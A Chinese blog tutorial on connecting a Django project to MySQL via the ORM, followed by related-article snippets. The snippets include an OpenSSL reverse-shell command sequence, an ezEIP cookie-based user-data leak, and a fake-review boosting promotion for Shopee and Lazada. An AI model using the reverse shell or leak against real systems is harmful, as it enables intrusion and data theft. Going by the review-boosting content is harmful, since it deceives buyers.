Python Django 之连接 Mysql 数据库详解
文章目录
- 1 概述
- 1.1 Mysql 下载和安装
- 1.2 菜单目录
- 2 ORM 框架
- 2.1 连接 Mysql 模块:mysqlclient
- 2.2 创建数据库
- 2.3 连接 Mysql
- 2.4 创建表
- 2.5 增删改查
- 3 扩展
- 3.1 ERROR:2026, 'SSL connection error: unknown error number'
1 概述
1.1 Mysql 下载和安装
- 博客:https://blog.csdn.net/qq_34745941/article/details/122549376
- 若已安装,请忽略。
1.2 菜单目录
- 主要使用的文件如图

2 ORM 框架
2.1 连接 Mysql 模块:mysqlclient
> pip install mysqlclient
- 若 pip 安装失败,可进入 Python 官方库中下载 whl 文件,操作可参考:
- 博客:https://blog.csdn.net/qq_34745941/article/details/106341898
2.2 创建数据库
# 创建数据库
> create database Demo DEFAULT CHARSET utf8 COLLATE utf8_general_ci;
>
> # 展示数据库
> show databases;

2.3 连接 Mysql
在 settings.py 中,配置 Oracle 的连接串
DATABASES = {'default': {'ENGINE': 'django.db.backends.mysql', # 不做修改'NAME': 'demo', # 数据库名'USER': 'root', # 用户名'PASSWORD': '12345', # 密码'HOST': '127.0.0.1', # 主机'PORT': '3306', # 端口号(默认)}
}
扩展:
Django 也支持其它数据库:官方文档:https://docs.djangoproject.com/zh-hans/3.2/ref/databases/
2.4 创建表

注意:
① 该类可重复执行
② 若类中的字段存在变更,则数据库表中的字段也同步变更
③ 若该类删除,则数据库中的表也同步删除
settings.py 中:
INSTALLED_APPS = ['django.contrib.admin','django.contrib.auth','django.contrib.contenttypes','django.contrib.sessions','django.contrib.messages','django.contrib.staticfiles','app01.apps.App01Config' # 注册项目
]
models.py 中:
from django.db import models# 参数 models.Model 固定
class UserInfo(models.Model):name = models.CharField(max_length=32)password = models.CharField(max_length=64)age = models.IntegerField()
终端中依次执行命令:数据库迁移,同步表结构!
> python manage.py makemigrations
> python manage.py migrate
可选,创建管理员
python manage.py createsuperuser

查询表:
mysql> use demo;
mysql> desc app01_userinfo;

2.5 增删改查
views.py:
from django.shortcuts import render, HttpResponse
from app01.models import UserInfo# Create your views here.
def orm(request):# 1.添加数据UserInfo.objects.create(name="张三", password=123, age=18)UserInfo.objects.create(name="李四", password=456, age=20)UserInfo.objects.create(name="王五", password=789, age=22)# 2.删除数据UserInfo.objects.filter(id=3).delete() # 删除单条数据# UserInfo.objects.all().delete() # 删除全部数据# 3.获取数据data_list = UserInfo.objects.all() # return QuerySet 类型数据for obj in data_list:print(obj.id, obj.name, obj.password, obj.age)row_obj = UserInfo.objects.filter(id=1).first()print(row_obj.id, row_obj.name, row_obj.password, row_obj.age)# 4.更新数据UserInfo.objects.filter(id=1).update(age=30)return HttpResponse("成功")
urls.py:
from django.urls import pathfrom app01 import viewsurlpatterns = [# path('admin/', admin.site.urls),# ORM 测试path('orm/', views.orm)
]
3 扩展
3.1 ERROR:2026, ‘SSL connection error: unknown error number’
报错截图:

- 原因:较高版本的 mysql 的 ssl 是默认开启的
- 解决:关闭 ssl,同下 5 个步骤
【第一步:登录 mysql,查看 ssl 开启情况】
C:\Users\Administrator>mysql -u root -p
Enter password: *****
mysql> show variables like '%ssl%';

【第二步:修改 my.ini】

【第三步:重启 mysql 服务】

【第四步:重新执行命令】

【第五步:启动 DJango 项目】

相关文章:
Python Django 之连接 Mysql 数据库详解
文章目录 1 概述1.1 Mysql 下载和安装1.2 菜单目录 2 ORM 框架2.1 连接 Mysql 模块:mysqlclient2.2 创建数据库2.3 连接 Mysql2.4 创建表2.5 增删改查 3 扩展3.1 ERROR:2026, SSL connection error: unknown error number 1 概述 1.1 Mysql 下载和安装 …...
Java设计模式:Callback
介绍 回调(Callback)是一种设计模式,在这种模式中,一个可执行的代码被作为参数传递给其他代码,接收方的代码可以在适当的时候调用它。 在真实世界的例子中,当我们需要在任务完成时被通知时,我…...
年底旺季,Shopee、Lazada如何通过测评补单技术打造产品权重收割流量
当前Shopee和Lazada平台的主要推广方式仍然以广告为主,毕竟这是平台的主要收入来源之一。然而,由于近年来大量卖家涌入东南亚市场,导致卖家之间的竞争日趋激烈。高额的广告投入并不能带来预期的效果,因此越来越多的卖家开始自学测…...
CentOS 7 安装 MySQL8.0
由于centOS7中默认安装了 MariaDB , 需要先进行卸载 # 查看版本 rpm -qa | grep mariadb # 卸载 rpm -e --nodeps 文件名 # 查看是否卸载干净 rpm -qa | grep mariadb安装wget: yum -y install wget进入/usr/local/下: cd /usr/local/新建mysqlrpm文…...
C# 往多线程传递安全参数的方法
在C#构造一个线程时,要向其传递一个函数,这个函数可以试简单的无参函数,也可以是参数为Object类型的函数,但是由于参数类型为Object,因此编译器无法实行类型检查,看下面的例子: class Program{…...
Java之SPI
Java的SPI(Service Provider Interface)是一种面向接口编程的机制,用于实现组件之间的解耦和扩展。通过SPI机制,我们可以定义接口,并允许第三方提供不同的实现,从而实现可插拔、可扩展的架构。 SPI讲解 它…...
【数据结构】算法的空间复杂度
🦄个人主页:修修修也 🎏所属专栏:数据结构 ⚙️操作环境:Visual Studio 2022 算法空间复杂度的定义 算法的时间复杂度和空间复杂度是度量算法好坏的两个重要量度,在实际写代码的过程中,我们完全可以用空间来换时间,比如说,我们要判断某某年是不是闰年,大…...
恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题
恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题 恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题为什么改变?恢复经典右键菜单 我是将军我一直都在,。! 恢复Windows 11经典右键菜单:一…...
Android:事件分发机制(二)
这篇主要是第一篇回顾之后,补充一些上一篇没写到的两个点。 第一个的切入点是这个。【处理层叠的view,想要执行下一层的view的点击事件】其背后的原理。 处理层叠的view,要执行下一层的view的点击事件 我们知道,方法是将上一层的…...
vue2时间处理插件——dayjs
在vue时间处理上有很多的方法和实现,可以自己实现,但是效率不高,所以,在框架开发中我们一般不会手写,一般是使用集成的第三方插件来解决我们的问题,在vue3中大家一般都使用Moment.js来处理,所以…...
软考 系统架构设计师系列知识点之软件质量属性(6)
接前一篇文章:软考 系统架构设计师系列知识点之软件质量属性(5) 所属章节: 第8章. 系统质量属性与架构评估 第2节. 面向架构评估的质量属性 相关试题 7. 某公司欲开发一个在线教育平台。在架构设计阶段,公司的架构师…...
Python6-wxPython库
Python6-wxPython库 1.wxPython库2.窗口程序2.1 简单的窗口程序2.2 自定义窗口类2.3 面板与静态文本2.4 事件处理 3.布局管理器3.1 盒子布局管理 4.控件4.1 文本输入框4.2 多选框与单选框4.3 列表控件4.4 静态图片 1.wxPython库 官方文档健全:https://docs.wxpytho…...
使用OpenSSL的反弹shell
1、攻击机生成证书: openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes2、攻击机开启服务 openssl s_server -quiet -key key.pem -cert cert.pem -port 803、靶机连接命令 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1…...
竞赛选题 深度学习OCR中文识别 - opencv python
文章目录 0 前言1 课题背景2 实现效果3 文本区域检测网络-CTPN4 文本识别网络-CRNN5 最后 0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 **基于深度学习OCR中文识别系统 ** 该项目较为新颖,适合作为竞赛课题方向,…...
ezEIP信息泄露
漏洞描述 ezEIP存在信息泄露漏洞,通过遍历Cookie中的参数值获取敏感信息 漏洞复现 漏洞Url为 /label/member/getinfo.aspx访问时添加Cookie(通过遍历获取用户的登录名电话邮箱等信息) WHIR_USERINFORwhir_mem_member_pid1;漏洞证明&…...
02.机器学习原理(复习)
目录 机器学习的本质机器学习的类型Regression/回归Classification/分类Structured Learning/结构化学习 ML的三板斧设定范围设定标准监督学习半监督学习其他 达成目标小结达成目标设定标准设定范围 部分截图来自原课程视频《2023李宏毅最新生成式AI教程》,B站自行搜…...
电源集成INN3270C-H215-TL、INN3278C-H114-TL、INN3278C-H215-TL简化了反激式电源转换器的设计和制造。
一、概述 InnoSwitch™3-CP系列IC极大地简化了反激式电源转换器的设计和制造,特别是那些需要高效率和/或紧凑尺寸的产品。InnoSwitch3-CP系列将初级和次级控制器以及安全额定反馈集成到单个IC中。 InnoSwitch3-CP系列器件集成了多种保护功能,包括线路过…...
UE4和C++ 开发--HUD类
HUD 平视显示器(Head Up Display),简称HUD。在蓝图中是指在屏幕上面绘制的二维物体。 1. 创建HUD 打开蓝图编辑器,创建一个蓝图类,搜索HUD,选择并命名BP_HUD。 2. 开始绘制 打开事件列表,右键搜索 EventReceive Draw HUD。有两…...
使用js怎么设置视频背景
要使用JavaScript设置网页的视频背景,你需要将视频元素添加到你的HTML文档中,然后使用JavaScript来控制它 首先,在你的HTML文件中添加一个 <video> 元素 <video id"video-background" autoplay muted loop><sourc…...
Gin,Gorm实现Web计算器
目录 仓库链接0.PSP表格1. 成品展示1.基础运算2. 清零回退3.错误提示4.历史记录拓展功能1.前端可修改的利率计算器2.科学计算器3. 按钮切换不同计算器模式4.用户在一次运算后不清零继续输入操作符,替换表达式为上次答案 2.设计实现过程3.代码说明4.心路历程和收获 仓…...
AcousticSense AI避坑指南:常见问题解决,确保你的音乐识别流程顺畅运行
AcousticSense AI避坑指南:常见问题解决,确保你的音乐识别流程顺畅运行 关键词:AcousticSense AI、音乐流派识别、问题排查、音频处理、ViT模型、梅尔频谱图、故障解决、部署指南 摘要:部署AcousticSense AI进行音乐流派识别时&…...
augmentcode配置智谱、Deepseek、Minimax
Minimax 渠道名称:Minimax接口地址:https://api.minimaxi.com/anthropic/v1/chat/completionsToken:API Key模型:MiniMax-M2.7格式:默认格式 deepseek 渠道名称:deepseek接口地址:https://api.d…...
LeetCode刷题实战:用并查集(Union-Find)秒杀“朋友圈”和“岛屿数量”这类题目(附Python/Java代码)
并查集实战:用Union-Find高效解决LeetCode朋友圈与岛屿问题 在算法面试中,并查集(Union-Find)是一种常被忽视却威力巨大的数据结构。它能在近乎常数时间内完成集合合并与查询操作,特别适合处理动态连通性问题。本文将以…...
提升开发效率的字体优化指南:Source Code Pro个性化配置实践
提升开发效率的字体优化指南:Source Code Pro个性化配置实践 【免费下载链接】source-code-pro Monospaced font family for user interface and coding environments 项目地址: https://gitcode.com/gh_mirrors/so/source-code-pro 长时间编码导致的视觉疲劳…...
OpenClaw备份策略:nanobot镜像的模型权重与技能配置定期同步
OpenClaw备份策略:nanobot镜像的模型权重与技能配置定期同步 1. 为什么需要备份OpenClaw工作区 上周我的开发机突然蓝屏,硬盘分区表损坏。当我发现过去三个月精心调教的OpenClaw技能配置和模型微调权重全部丢失时,那种痛彻心扉的感觉让我意…...
FastMoss TikTok电商数据爬取实战:JS逆向与MD5签名破解
1. FastMoss TikTok电商数据爬取的核心挑战 最近在研究FastMoss平台的TikTok电商数据爬取,发现最大的难点在于请求签名加密。当你访问https://www.fastmoss.com/zh/e-commerce/saleslist这个页面时,切换周榜会触发一个带有fm-sign签名的加密请求。这个签…...
3个超实用步骤:用DS4Windows让PS手柄在Windows游戏中完美适配
3个超实用步骤:用DS4Windows让PS手柄在Windows游戏中完美适配 【免费下载链接】DS4Windows Like those other ds4tools, but sexier 项目地址: https://gitcode.com/gh_mirrors/ds/DS4Windows 还在为PS4/PS5手柄在Windows游戏中无法正常使用而困扰吗…...
UEFITool终极指南:掌握UEFI固件解析与编辑的完整教程
UEFITool终极指南:掌握UEFI固件解析与编辑的完整教程 【免费下载链接】UEFITool UEFI firmware image viewer and editor 项目地址: https://gitcode.com/gh_mirrors/ue/UEFITool 想要深入了解计算机启动的底层秘密吗?UEFITool作为一款强大的开源…...
用Python从零实现一个卡尔曼滤波器(附完整代码与可视化)
用Python从零实现一个卡尔曼滤波器(附完整代码与可视化) 卡尔曼滤波是工程领域最经典的状态估计算法之一,广泛应用于导航、控制、信号处理等领域。但对于初学者而言,面对复杂的矩阵运算和抽象的概率推导常常无从下手。本文将用Pyt…...
从PaddlePaddle 2.2.2平滑升级到2.4.2的实战指南
1. 升级前的准备工作 在开始升级PaddlePaddle之前,我们需要做好充分的准备工作。首先检查当前环境,确保系统满足升级要求。我建议创建一个新的Python虚拟环境来隔离升级过程,这样可以避免影响其他项目。使用conda创建环境的命令如下ÿ…...
